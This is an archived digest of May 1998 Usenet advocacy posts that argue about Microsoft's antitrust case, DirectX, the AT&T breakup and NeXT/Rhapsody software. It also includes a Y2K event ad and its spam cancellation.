References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu>
> > I could say something about "innocent until proven guilty" but I
understand
> > your point. What got me concerned was your assumption that the quantity
of
> > allegations somehow equates to a degree of guilt. This is especially true
> > when you made a sweeping generalization without even listing unproven
> > claims.
>
> Regardless of whether they were proven or not has no bearing on whether
> they are true or not.
>
"Proven" allegations may reasonably be assumed to be true.
"Unproven" allegations may not.
<snip>
> > Corporations have rights too.
>
> But they aren't individual rights, and they should never come before the
> right of the individual. As such, the right of an individual to liberty
> should never come second to the right of a corporation to be big and
> profitable.
We have a solid point of contention here. It was my understanding that
corporations do have the same rights as individuals. For example,
corporations have the right to free speech because individuals do.
This is a point of law that should be easily proven or disproven. I will
do some research and try to find some links that will prove my point.
Or you can save me some work and concede the legal status of the corporations
and limit your position to how it "should be" as compared to what it "is".
> In fact, the latter does not exist except in the minds of
> corporations.
And in the minds of the courts?
> Corporations have few rights regarding success.
Both individuals and corporations have no guarentees to "success".
<snipped good history lesson>
> We don't want an MS monopoly here, but over there would be just fine,
> thank you. That's how I see it falling out. Nobody I know of really
> believes in the rights of a corporation.
>
Let's ask the legal system what it believes.
<snip>
> The decree has no place here. Anti-trust is quite clear that you cannot
> use a monopoly position in one market to dominate another market.
I do not know if you have read my previous posts. I have been arguing
FOR a DOJ generated anti-trust case. What I have been arguing against
is the misuse of the Contempt Case. If you agree that Microsoft is not in
violation of the Consent Decree, then we are in agreement.
<snip>
> > Was it the understanding Microsoft was allowed to "bundle" two separate
> > products an call it an Integrated Product? Microsoft points to MSDOS and
> > Windows as an example of what was meant in 1994.
>
> I see a clear difference. Windows WAS a newly defined product for MS-DOS.
> It never existed without MS-DOS, and could not exist without MS-DOS. It
> was impossible to un-integrate them. That's not the case with IE. IE can
> exist quite nicely as a separate product. That could never be said of
> Windows.
>
I know it is tempting to argue about what "Integrated Products" means in
the Consent Decree. The DOJ succumed to the temptation and wasted time and
tax dollars pushing the wrong case (IMO). Are you still arguing that
Microsoft is in violation of the Consent Decree?
> > > I think they are interested in the bigger ruling, but realize that they
> > > can get 80% of what they need for 20% of the effort by taking this
route.
> >
> > I disagree.
>
> Disagree with my assumption of what they want, or what their chances are?
> I don't think their chances arguing Concent Decree are very good now. I do
> think that was their thinking as anti-trust seems to be upon us this
> coming week.
>
I was disagreeing with the DOJ getting 80% for 20% effort. The Contempt
Case was the wrong case to press LEGALLY. The only explanation for it is
to garner POLITICAL support. I am fundimentally opposed to our government
filing false suits for political reasons. Senator Hatch and others are
applauding the same DOJ actions that the Appellate Court is finding
inexcusable.
Providing Food for Thought,
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Yellowbox programming, and ragosta
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com> <6j487r$ibo$1@bignews.shef.ac.uk>
Message-ID: <3555ce8a.0@news.depaul.edu>
Date: 10 May 98 15:58:02 GMT
In comp.sys.mac.advocacy mmalcolm crawford <m.crawford@shef.ac.uk> wrote:
> On 05/10/98, macghod@concentric.net wrote:
<Macghod's public flailing, questioning something that many people
other than Joe Ragosta have been doing for years, snipped>
<Mmalc's wisdom also snipped, only with more respect>
>I trust when you have discovered your error you will post a suitable
>retraction so that whenever anyone cites your original post in the future, we
>can direct them to the followup...
And, Macghod, make sure you post back to EACH AND EVERY ONE of the
newsgroups you compulsively posted this to
Do you have 'Usenet Turet's Syndrome' or something, that makes
you spastically cross-post to the entire known universe?
--
"... and subpoenas for all." - Ken Starr
Newsgroups: comp.sys.mac.system,comp.sys.newton.misc,comp.sys.next.advocacy
Subject: Networking For Computer / Year2000 Professionals
From: mbsprog@idirect.com (Year2000 Information Network)
Organization: Year2000 Information Network
MIME-Version: 1.0
Content-Type: Text/Plain; charset=US-ASCII
Message-ID: <3555d22e.0@nemo.idirect.com>
Date: 10 May 98 16:13:34 GMT
The Year2000 Information Network, a networking organization
for computer professionals will hold its next bi-monthly
networking session on May 25th 1998.
The Year2000 Information Network's
bimonthly Year2000 conferences are
excellent tools used by computer professionals including
Year2000 project managers to seek new employment
and business opportunities. The next event will
be held May 25, 1998 in Toronto.
Here is the May 25, 1998 Year2000 Conference Agenda - Toronto
This event is the eighth in a series of affordable Year2000
events produced by the Year2000 Information Network. The
fee is $50 per person. Out of town Year2000 professionals
can participate in an ongoing web based Year2000 conference
as well. The web site is updated daily with questions,
ppportunities, etc... See http://www.mbs-program.com or
call (416) 252-6896
Location: 2737 Keele Street, North York, Ontario
At Keele & Highway 401
8:00 am - 9:00 am Registration
9:00 am - 9:10 am Introduction - Moderators (Gillian Albers and
Ron
Joiner)
(15 minutes will be allocated between early morning sessions for
networking)
9:10 am - 9:45 am
Impact On Financial Markets: The Year2000 computer problems' impact on
financial systems should not only concern financial institutions.
Everyone
will be affected including public companies. Find out why --- and what
you
can do to protect your investments. Speaker: Tony Keyes
9:45 am - 10:00 am
NETWORKING BREAK: Refreshments will be served.
10:05 am - 10:40 am
Case Study: How the Target Grocery Chain successfully managed its
Year2000
conversion on time and on budget. Speaker: Gary Kennedy
10:45 am - 11:20 am
Year2000 Solutions For PC Users: It is often argued that PCs are the
least
of a Year2000 project managers' worries. But is it really? Find out
what
solutions exist for the PC environment. Speakers: Craig Twigger & Vince
Forrestall
11:25 am -12:05 pm
Data Issues in Year 2000 Testing: Understanding and overcoming the data
issues of the Year 2000 project are critical aspects of compliance
testing.
This presentation will explore several of the more difficult data
challenges of Year 2000 testing, including developing a Testing Strategy
to
account for the uniqueness of crossing the millennium. Speaker:
12:10 pm - 12:35 pm
Using Artificial Intelligence Tools To Convert Computer Code: This
presentation will discuss strategies you can employ to customize
Artificial
Intelligence engines to solve unique Year2000 situations especially on
Non-COBOL languages. Speaker: David Gillman
12:35 pm - 1:00 pm
LUNCH BREAK
1:05 pm - 1:35 pm
Year2000 Supply Chain Breakdown: Why organizations both big and small
must
develop a contingency plan to ensure that their suppliers and customers
Year2000 problems don't become your own? How to prepare Year2000
compliance
letters that work. How to integrate your Year2000 department with your
communications and PR department. This event is a must even for
organizations who have already completed their conversion. Speaker:
Gillian Albers
1:40 pm - 2:15 pm
Year2000 Legal Issues: Legal implications of not fixing your Year2000
computer problem. Speaker: Alan Ghatan
2:20 pm - 2:50 pm
Automation of Testing: Why should it be important to automate the
testing
process? Speaker: Ron Joiner
2:55 pm - 3:40 pm TO BE ANNOUNCED: Speaker: Gary Roberts
PLEASE COMPLETE AND FAX TO (416) 255-3070 or (905) 814-6051
(Please complete a different form for each guest)
Name:
Title:
Company Name:
Address:
City:
Province:/State
Postal Code:
Tel #:
Fax #:
E-mail:
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.mac.system,comp.sys.newton.misc,comp.sys.next.advocacy
Subject: cmsg cancel <3555d22e.0@nemo.idirect.com>
Control: cancel <3555d22e.0@nemo.idirect.com>
Date: 10 May 1998 16:13:36 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.3555d22e.0@nemo.idirect.com>
Sender: mbsprog@idirect.com (Year2000 Information Network)
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
Message-ID: <3555D791.3273@ibm.net>
Date: Sun, 10 May 1998 11:36:33 -0500
From: "David P. Cole" <avon@ibm.net>
Organization: Organization? I think for myself, thanks anyway.
MIME-Version: 1.0
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com>
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Todd Bandrowsky wrote:
>
> If you don't like Direct X, then use 3dfx or opengl or fastgraph. There's
> plenty of alternatives out there for Windows. Geez, how many libraries does
> Linux have: 0. How many gaming libraries does Sun have: 0. Apple stuff is
> just as proprietary.
then why is MS encouraging software developers to use DirectX over the
alternatives? Why are they shooting themselves? Will their own Win9x
games be considered obselete with the new NT Order arrives 2 years from
now?!
> > Vaporware is a good thing to call NT 5. I've been reading industry
> >rags that say to expect NT 5 to be released late in 1999 or early in 2000
> >at the soonest. They also say that if it's shoved out the door before
> >then avoid it because it still isn't all that stable. But I'm not beta
> >testing it so I really have no personal experience.
> >
Late in 1999 - cool. I heard it was early 1999, but I'm not surprised.
besides, I think it's time for the 20 year old PC technology to be
thrown in the toilet where it belongs. It's time for change.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.system,comp.sys.newton.misc,comp.sys.next.advocacy
Subject: Re: Networking For Computer / Year2000 Professionals
Date: Sun, 10 May 1998 09:38:51 -0700
Organization: Trilithon Research and Trading
Message-ID: <3555D81B.9DA03410@trilithon.com>
References: <3555d22e.0@nemo.idirect.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Year2000 Information Network wrote:
<<<< blah blah blah blah >>>>
Pretty Good Scam, no?
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: SnowSim@halcyon.com (Simulated Snow)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Sun, 10 May 1998 03:29:36 -0700
Organization: Baloney Research Institute
Message-ID: <SnowSim-1005980329360001@blv-ux100-ip33.nwnexus.net>
References: <6i1ghg$1kn$2@ns3.vrx.net> <B177917C-3EDD9@207.217.155.113> <6iumsv$4f3$8@ironhorse.plsys.co.uk> <6ivv6u$k1g$1@nnrp2.snfc21.pbi.net>
In article <6ivv6u$k1g$1@nnrp2.snfc21.pbi.net>, "Mark Micklich"
<SRFPCI1@pacbell.net> wrote:
> This is a quote from www.apple.com regarding Rhapsody...
>
> "The unified release of Rhapsody is scheduled for shipment in mid 1998."
>
> What is considered mid-1998? June thru July?
well, ""before ReturnOSteve" it would have ment MacWorld Boston...now daze
who really knows
I'd wait till WWDC is pau ("finished" - Hawai'ian) since more
"information" will be available to a decision maker afterwards
--
"I know of no safe depository of the ultimate powers of the society but the
people themselves; and if we think them not enlightened enough to exercise their
control with a wholesome discretion, the remedy is not to take it from them but
to inform their discretion." - Thomas Jefferson
From: SnowSim@halcyon.com (Simulated Snow)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sun, 10 May 1998 04:01:31 -0700
Organization: Baloney Research Institute
Message-ID: <SnowSim-1005980401320001@blv-ux100-ip33.nwnexus.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <6iv3ne$ekq$3@ns3.vrx.net>
In article <6iv3ne$ekq$3@ns3.vrx.net>, Maury Markowitz shaped packet
streams to respond :
> In <35534C47.454F66AA@trilithon.com> Henry McGilton claimed:
[snip]
> And we have an even better and more modern example of the opposite - AT&T.
> After breakup...EVERYONE won on that deal.
excellent example...of real market functioning
we need, obviously, more experiences like that (are are likely to get them
I think...)
> > By the way, take a read of Professor Mankiw's book
> > Principles of Economics, and see what conclusions
> > you reach vis a vis "cop out".
>
> But the long and short of it is that his statement is BS.
his economics are BS also
no "academic economic belief system" I am aware of hangs together as
"objective/rational/reasonable" (read non political) when examined with
perspectives & tools from biology, chemistry & physics
if it don't match with what we know from those three relms of knowleddge,
itz most likely B$ (Politic$ a$ u$ual)
blah, blah, blah
flames ==>/dev/null
--
"I know of no safe depository of the ultimate powers of the society but the
people themselves; and if we think them not enlightened enough to exercise their
control with a wholesome discretion, the remedy is not to take it from them but
to inform their discretion." - Thomas Jefferson
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Date: 10 May 1998 17:49:27 GMT
Message-ID: <6j4pb7$jkq$1@newsfep3.sprintmail.com>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com> <35553FA0.AB984F57@trilithon.com>
Mime-Version: 1.0
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Cc: henry@trilithon.com
In <35553FA0.AB984F57@trilithon.com> Henry McGilton wrote:
> macghod@concentric.net wrote:
> Based on your inability to describe the problems you claim
> to be having (over and above the intrinsic problems), I can
> conjecture that you didn't install all of the software
> neccessary to build for multiple platforms.
Yes, you are right. My irritation with Joe lead me to be out of line, and
rude, and I apologize for it.
I will try to change my ways.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Date: 10 May 1998 17:54:13 GMT
Message-ID: <6j4pk5$jkq$2@newsfep3.sprintmail.com>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com> <6j487r$ibo$1@bignews.shef.ac.uk>
Mime-Version: 1.0
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Cc: m.crawford@shef.ac.uk
In <6j487r$ibo$1@bignews.shef.ac.uk> mmalcolm crawford wrote:
> Oh heavens, I can just see this is going to join various other unpleasant
> Urban Myths about OPENSTEP (like DPS is slow)...
Yes, and I apologize. I acted out of line. I will change the way I act
here.
> I am quite sure that you have some sort of installation problem. Did you
Yes, you are right, as usual. The default install only installs the
libraries "thin" not fat. I screwed up, and being more irritated than usual
at joe, I posted that out of line post.
> I trust when you have discovered your error you will post a suitable
> retraction so that whenever anyone cites your original post in the future,
we
> can direct them to the followup...
yes, the original post was a great embarrasment, and %100 incorrect.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Yellowbox programming, and ragosta
Date: 10 May 1998 17:58:11 GMT
Message-ID: <6j4prj$jkq$3@newsfep3.sprintmail.com>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com> <6j487r$ibo$1@bignews.shef.ac.uk>
<3555ce8a.0@news.depaul.edu>
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Cc: jhendry@shrike.depaul.edu
In <3555ce8a.0@news.depaul.edu> Jonathan W Hendry wrote:
> In comp.sys.mac.advocacy mmalcolm crawford <m.crawford@shef.ac.uk> wrote:
> > On 05/10/98, macghod@concentric.net wrote:
>
> <Macghod's public flailing, questioning something that many people
> other than Joe Ragosta have been doing for years, snipped>
Yes, you are right, and I apologize
<comp.sys.next.programmer trimmed, since this is no longer a programming
question> sorry for not trimming it for the other apologies. I am sorry you
were offended by the 3 groups it was in, I posted to both advocacy groups
because it was part advocacy, and the programmer group because it was part a
programming question.
From: glend@no_spam.direct.ca (Glenn Davies)
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Message-ID: <3555ea9b.3227526@news.direct.ca>
References: <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com>
MIME-Version: 1.0
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Date: Sun, 10 May 1998 18:10:56 GMT
NNTP-Posting-Date: Sun, 10 May 1998 11:10:56 PDT
Organization: Canada Internet Direct, Inc.
On Sat, 9 May 1998 20:46:11 -0400, dmccoy@REMOVE_MEmnsinc.com (David
H. McCoy) wrote:
>In article <6j2q9p$2mg$1@usenet11.supernews.com>, tbandrowsky@del.net
>says...
>> If you don't like Direct X, then use 3dfx or opengl or fastgraph. There's
>> plenty of alternatives out there for Windows. Geez, how many libraries does
>> Linux have: 0. How many gaming libraries does Sun have: 0. Apple stuff is
>> just as proprietary.
>>
>
>Why is it so difficult for people to realize the DirectX is the technology
>tht combines sound interfacing, controllers, video hardware accessing as
>well as 3D. Direct 3D is one component of DirectX. If you create a game
>with 3dfx or OpenGL without the sound or controller components, you will
>not have much of a game.
>
3dfx is the name of a chip manufacturer. The first poster was
comparing the name of a group of technologies against a, video chip
manufacturer, a 3D api, and a 2D api.
----
Glenn Davies
Date: Sun, 10 May 1998 12:24:43 -0600
From: kreme@SPAM.kreme.com (Kreme)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Message-ID: <kreme-1005981224440001@kreme.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <6iv3ne$ekq$3@ns3.vrx.net> <35536982.656F@CONVEX.COM>
Ccb%xGQshhi|g@QU2$
If you want to use it please also use this Authorline.
In article <35536982.656F@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> Maury Markowitz wrote:
>
> > And we have an even better and more modern example of the opposite - AT&T.
> > After breakup service quality and types of service has skyrocketted to the
> > consumer, and rates have plummetted - all at the same time that AT&T
ended up
> > better off than ever before and at the same time is clearly no longer a
> > monopoly.
>
> Actually, no. The "breakup" of AT&T did not increase competition, it
> actually created a government-regulated monopoly of RBOCs with
> individual operating areas and little or no local-call competition. The
> quality of service during the operation of this regulated monopoly has
> actually been *crawling* forward, and innovation has only shown great
> leaps of progress in the relatively-free long-distance market (where the
> "better off" AT&T operates).
Err, let's make sure we're talking about the same things. The breakup of
AT&T did everything Maury said, IN THE LONG DISTANCE MARKET. The
government decided NOT to follow a similar open-competition scheme with
the "baby" Bells, which is why we've seen stagnation on the local level.
Face it, Long distance is so cheap some major player is going to offer
unmetered LD any day now...
> The fact that your connection to the Internet is probably a POTS-based
> analog dialup link with a 5-10 *second* (not millisecond) connection and
> handshaking delay is incredibly ridiculous and flies in the face of your
> claim that "service quality and types of service has skyrocketted to the
> consumer".
Just talking about different aspects of the marketplace.
Date: Sun, 10 May 1998 12:27:51 -0600
From: kreme@SPAM.kreme.com (Kreme)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Message-ID: <kreme-1005981227510001@kreme.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
Ccb%xGQshhi|g@QU2$
If you want to use it please also use this Authorline.
In article <35534C47.454F66AA@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
> Standard Oil is a classic historical example. All the evidence
> indicates that Rockefeller, far from conspiring to fix or
> control pricing, was trying to maintain reasonable pricing to
> prevent the independents at the time from flooding the market
> with too much oil that would drive prices down to unprofitable
> levels. The JD saw Rockefeller's actions as monopolistic and
> eventually broke up the company. It's not clear over the long
> run whether or not this was a good thing.
That's an amsuing bit of revisionist history there. Try selling it to the
thousands of business Standard Oil ran into oblivion. Oh you can't, those
people would all be dead by now. That's the nice thing about revisionist
history, if you wait long enough all the people who can argue with you
about their experiences are dead.
That would explain why the Nazi Revisionist movement didn't really get
going until the late 80's. Have to wait for everyone (most) with first
hand experience to die.
From: dmccoy@REMOVE_MEmnsinc.com (David H. McCoy)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Sun, 10 May 1998 15:20:12 -0400
Organization: OminorTech
Message-ID: <MPG.fbfc7f4bd3bba2c989d88@news1.mnsinc.com>
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In article <uprsNDlpp0Dh-pn2-xWG5dQM4sr46@dyn49.tc1.mineola.i-2000.net>,
jhimmel@i-2000.com says...
> On Sun, 10 May 1998 13:17:27, "Christopher Smith" <drsmithy@usa.net>
> wrote:
>
> > >On Sun, 10 May 1998 00:46:11, dmccoy@REMOVE_MEmnsinc.com
> > >(David H. McCoy) wrote:
> > >¯Why is it so difficult for people to realize the DirectX is the technology
> > >¯tht combines sound interfacing, controllers, video hardware accessing as
> > >¯well as 3D...
>
> > >Because we are not interested in MS' latest attempt to
> > >ignore a superior standard in order to replace it with their
> > >own inferior one in order to put another billion dollars in
> > >BG's bank account.
>
> > There's a small flaw with this statement - there *is* no comparative product
> > to DirectX.
>
> Can you tell me what DirectX would do for me? I don't play computer
> games, so I'm wondering what I might be missing by not having directX.
> I use my computer for letters (AmiPro/2), several database's involving
> costomer information (DBExpert and now looking at Approach/2),
> acounting (CA Simply accounting for OS/2), faxing (FaxworksPro/2),
> Personal information (scheduling mainly - IBM Works PIM and now
> looking at Organizer/2), access to my banking (WinOS/2), access to
> trading (WinOS/2 and now through Schwab Internet access), and of
> course Internet interaction (Netscape/2, MR/2 ICE, ProNews/2).
>
> [[[ James Himmelman - jhimmel@i-2000.com ]]]
>
For you, directX would do little. But for people who play games, for fast
multimedia playback, for videoconferencing, these are all features that
benefit for DirectX. For instance, in OS/2 there are several MPEG players
that use Dive for faster playback. Dive does nothing for you but for those
that use MPEG, they get substantial benefits.
Similar benefits in speed and ease of coding are obtained for DirectX.
--
-----------------------------------
David H. McCoy
dmccoy@REMOVE_MEmnsinc.com
-----------------------------------
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Message-ID: <edewEsrCMo.Fzn@netcom.com>
Sender: edew@netcom5.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
Date: Sun, 10 May 1998 20:23:12 GMT
In article <stevewhite-0705982058110001@d148-218.ce.mediaone.net> stevewhite@you.dont.get.this.part.com (Steve White) writes:
>In article <35522293.731DC4F3@alum.mit.edu>, Eric Hermanson
><eric@alum.mit.edu> wrote:
>
>> Dr. Mankiw,
>>
>> I read your recent statement regarding a potential Justice Department
>> delay of Windows 98. I will quote the context of the rubbish for your
>> benefit:
>>
>>
>> http://cnnfn.com/digitaljam/9805/05/gates/index.htm:
>>
>> "Another supporter called on by the software giant was Gregory
>> Mankiw, professor of economics at Harvard University, who said the
>> government's attempt to delay Windows 98 'would throw sand into the
>> gears of human progress.'"
>
>
>
>Just goes to show you that Harvard doesn't necessarily guarentee a quality
>education.
>
Didn't Gates attend Hahvahd? Maybe there's still some "honorary alumnus"
contribution thing going on?
EDEW
From: Stephen Carville <scarville@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 10 May 1998 13:51:43 -0700
Organization: High-G Consulting
Message-ID: <3556135F.E1C4F9F9@earthlink.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ipuo7$606$1@strato.ultra.net> <rmcassid-0605981338290001@dante.eng.uci.edu> <6j2m0e$m0c$2@ligarius.ultra.net>
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John Saunders wrote:
>
> Robert Cassidy wrote in message ...
> >In article <6ipuo7$606$1@strato.ultra.net>, "John Saunders"
> ><jws@jws.ultranet.com> wrote:
> >
> >>Robert,
> >>
> >>Companies will often agree to consent decrees and out-of-court
> settlements,
> >>not because they're guilty, but because it's cheaper. Lawyers are
> expensive,
> >>time spent in court is expensive, and so is the uncertainty in your
> partners
> >>due to not knowing the outcome of a trial. A trial, and the attendant cost
> >>and uncertainty can stretch on for months. But a settlement represents the
> >>period at the end of the sentence, even when the sentence itself is an
> >>unpleasant one.
> >>
> >>Accepting a settlement or consent decree, or for that matter, pleading
> >>guilty to a lesser charge, are not admissions of guilt. It doesn't mean
> >>they're "unofficially guilty".
> >
> >Normally I would agree with you, but in the case of a consent decree which
> >*clearly* hampers MS's ability to move into new markets, I can't see them
> >willing to do that just to save a few bucks. MS isn't built on the dollars
> >of today which pay legal expenses, rather on the dollars of tomorrow which
> >hold up their stock price.
> >
> >The non-bundling clause is *huge*, unless MS was going to:
> >
> >A) ignore it.
> >B) pretend it is meaningless.
> >
> >Clearly they chose B based on the 'we can bundle a ham sandwich if we
> >want' remark. A ham sandwich IS a separate product, just as a web browser
> >is. I can't imagine that MS would willingly put a bullet in their plans
> >for growth unless they were caught pretty much dead to rights. Perhaps it
> >was just a massive screwup by MS execs and legal council.
> >
> >MS didn't plea to a lesser charge, they pled to a very significant charge.
> >One that could cost them billions. So why wouldn't they fight it out if
> >those were the stakes? Even all the tobacco wrangling has stayed far shy
> >of the $1B mark for legal fees.
> >
> >And in spite of all of this, you avoided the point altogether. Just
> >because they weren't found liable for something, doesn't mean that they
> >didn't do it. Do you want to know if they did it, or if they were found
> >liable for it? Is it alright if I kill someone, just so long as I don't
> >get caught?
>
> Bob,
>
> I was responding to what I thought was the point you were making. I thought
> you were saying, "they signed the consent decree, so they're guilty, even
> though they're not "officially" guilty". My response was "there are reasons
> other than guilt to sign a consent agreement".
>
> Of course I'd like to know the truth. But we don't get to find out when
> there's no trial.
>
> Also, I sharply disagree with your interpretation of the meaning of the
> bundling clause. I agree that it would prevent them from bundling Microsoft
> Office with Windows 95, since that's clearly a separate product. I do not
> believe it should prevent them from bundling the contents of the Plus!
> package, since I'm willing to treat those components as an operating system
> add-on. We could debate which of these two scenarios applies to IE4, but I'd
> rather not. I think the latter applies: IE4 is a Windows upgrade that
> happens to add Internet capabilites. That's why I don't think the bundling
> clause should apply. I suspect you have a different opinion on this topic.
And Office could easily be a "Windows upgrade" that happens to add word
processing, spreadsheet, etc capabilites to the system. It's all a
matter of perception.
--
Stephen Carville
scarville@earthlink.net
=========================================================
Welcome to your future with Microsoft; where your every action will be
regulated by computers you do not control.
=========================================================
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From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sun, 10 May 1998 16:40:37 -0500
Organization: Prairie Group
Message-ID: <MPG.fbfdad2ac2aeac398969a@news.supernews.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <kreme-1005981227510001@kreme.com>
In article <kreme-1005981227510001@kreme.com>, kreme@SPAM.kreme.com
says...
> That would explain why the Nazi Revisionist movement didn't really get
> going until the late 80's. Have to wait for everyone (most) with first
> hand experience to die.
>
OK, someone just brought in the Nazis. Thread's over, folks, move along!
Donald
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <6iv3ne$ekq$3@ns3.vrx.net> <35536982.656F@CONVEX.COM>
Message-ID: <355622ec.0@news.depaul.edu>
Date: 10 May 98 21:58:04 GMT
In comp.sys.next.advocacy Michael Peck <MJPECK@CONVEX.COM> wrote:
> Actually, no. The "breakup" of AT&T did not increase competition, it
> actually created a government-regulated monopoly of RBOCs with
> individual operating areas and little or no local-call competition.
As was stated elsewhere, the breakup of AT&T did free up the long
distance markets.
It did however create all the stagnant regional monopolies. What
I'd like to know is whether that was the DOJ's original idea, or
if that was a poorly considered concession to Ma Bell?
